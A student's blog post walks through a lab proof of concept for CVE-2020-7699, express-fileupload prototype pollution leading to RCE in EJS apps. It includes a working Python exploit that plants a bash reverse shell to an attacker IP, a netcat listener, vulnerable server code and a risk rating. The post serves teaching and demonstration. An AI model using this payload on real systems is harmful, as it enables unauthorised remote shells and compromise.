As an IT / cybersecurity student, I heavily relied on searching online for guides and forums to help me with my assignments. So this is me giving back to the community 😄
In this post I will explain how to exploit a vulnerability in an older version of a NodeJS library to enable RCE. Many concepts and technologies used will require an
intermmediate level of hands-on knowledge of cybersecurity
I will not explain every term. The entire process is quite simple. If you are unfamiliar with anything, try read it up. Everything mentioned is fairly common.
This Proof of Concept (POC) is a simple example of RCE. Good for demonstrating RCE to an audience without technical knowledge. I doubt it can be used in the wild for penetration testing or for any malicious purposes. In fact the author of the dependency has a glaring warning of this vulnerability at the top of their github repo
This exploit was referenced from: https://blog.p6.is/Real-World-JS-1/
^The author explains why the outdated dependency is vulnerable.
Disclaimer: I am a security student with no professional programming / software engineer experience so my code may not be following best practices...but they work
Contents
Abstract
CVE Code | CVE-2020-7699 |
CWE Code | CWE-400 |
Publish Date | 30 July 2020 |
Attack Type | Remote Code Execution |
Vulnerability | JavaScript Prototype Pollution |
Cause | Misconfiguration? |
Fix | Update Libraries, Proper Network Configuration, Firewalls |
Affected Technology | Node, Express, express-fileupload v1.1.10 and earlier , EJS |
Set Up
All files needed can be found in my github repository. Higher resolution versions of all images used can be found in there too.
boiledsteak / EJS-Exploit
Remote Code Execution EJS Web Applications using express-fileupload
Attacker
First, set up a Kali Virtual Machine (VM). Ensure all commands are run in bash. Check that Python3 is installed.
Move this file into the kali VM
EJS-RCE-attack.py (can be found in my github repo)
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
#
# Timothy, 10 November 2020
##############################################################
### imports
import requests
### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.98.11/8020 0>&1"'
print("Starting Attack...")
### pollute
requests.post('http://192.168.98.10:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute command
requests.get('http://192.168.98.10:8080')
print("Finished!")
Yes I know a docker would have been lighter than a VM but the purpose of this POC is more for demonstration so having a VM makes the process more visual.
Next, modify EJS-RCE-attack.py to fit attacker’s machine address and port. Line 13, change
/dev/tcp/192.168.98.11/8020
to
/dev/tcp/<attacker’s IP address>/<attacker’s port to listen for connection from victim>
You could leave it at port 8020. Just ensure that no firewall rules are blocking the ports you use.
Modify EJS-RCE-attack.py to fit victim’s machine address and port. Line 17 and line 21. Change http address to victim’s web address.
Victim
This part requires a bit more preparation since you will need to set up an EJS web server. There are many detailed guides online about EJS and how to create a web app with it so I won't detail everything in this post. I'll briefly list the steps needed to get one running.
First, set up an Ubuntu VM. Ensure it can 'talk' to the Kali VM. Install NodeJS and NPM.
Create a directory to contain the webserver code. It should look something like the screenshot below. For now just create the folders. Don't create the files yet. This step is optional but I feel it makes the webserver cleaner and easier to navigate. This step is useful if you choose to expand on my attack scenario for instance, adding a database to the webserver, adding multiple web pages etc...
btw command to print directory tree in windows is
tree /A
Okay first file to create is package.json. Move it to backend as pictured in the directory tree screenshot. (all files can be found in my github repo)
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}
open a terminal in the backend folder and run
npm install
This installs all needed libraries and dependencies including EJS. A "node_modules" folder should appear.
Now, write the server code server.js
// web server code
// website starts here
// imports
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
// set the view engine to ejs
app.set('view engine', 'ejs');
app.set('views', "../frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
// sever starting ...
const server = http.Server(app);
const addr = "192.168.98.10"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on '+ addr + ' port ' + port);
});
You'll need to change the "addr" variable in line 24 to match your victim machine's IP address.
Next, create a simple HTML page in frontend/pages. It needs to be an .ejs file. I created a very plain one index.ejs. This is to show that this attack does not require the victim to click anything on the website. The vulnerability lies in an outdated dependency used. No XSS needed. I probably don't need to show the code but here it is lol.
<!DOCTYPE html>
<html>
<head>
<title>Some Website</title>
</head>
<body>
<h1>This is some website</h1>
</body>
</html>
Launch Attack
With everything set up, you can finally launch the attack. First, start the web server from the victim machine. Run npm start in the backend directory where the server.js file is located.
Now on the attacker side start a nc to listen for a connection from the victim.
nc -lvp 8020
Then start the actual exploit
python3 EJS-RCE-attack.py
If everything is done properly, you should be seeing a shell of the victim, on the attacker's terminal. From here you can do all kinds of commands to demonstrate RCE. You could do a simple DOS by restarting the machine with init 6. Or maybe do something even more 'hackerman' by downloading a MSFvenom and opening a metasploit shell.
That's all to the attack. It's actually very simple. As I said at the start, this is just a simple RCE POC to show that misconfiguration can lead to severe vulnerabilities. The victim doesn't even need to click anything on the website and yet the web server can be compromised.
Risk
As defined by the OWASP risk rating methodology, the risk of a vulnerability is measured by its likelihood and impact.
Likelihood
The likelihood of this exploit happening is extremely low because it relies on an outdated version of express-fileupload. The github repo that maintains this dependency even has a security warning about this exploit. Moreover EJS is not usually used in production. React, Angular , Vue, these are some of the more popular javascript frontend frameworks. EJS is used more for learning and development.
Thus I would give this a Low likelihood rating of 1/3
Impact
Since this is a RCE exploit, the impact is very high. RCE can enable all sorts of attacks. Stealing data, denial of service, opening backdoors, lateral movement - these are to name of but a few. Of course there are many effective ways to mitigate the impact of RCE such as firewalls, giving least privelege, port blocking etc. however the impact is still high.
Thus I would give this a High impact rating of 3/3
With low likelihood and high impact, I rate this exploit as a Medium Risk
🚀 back to contents
That's it!
Thank you for reading my first post :) Yes I know it's a very simple and amateur exploit but I hope someone finds it useful. I'm just a student with no real professional experience so some of my information may even be false or misinformed. Please let me know if I missed anything. You can read more about javascript prototype pollution to understand deeper why this vulnerability even exists.
Top comments (2)
Wow, nice read
Didn't know node ejs security vulnerability can be this bad
Thank you :) I added a risk rating section to explain that the vulnerability isn't that big of a deal because the likelihood is miniscule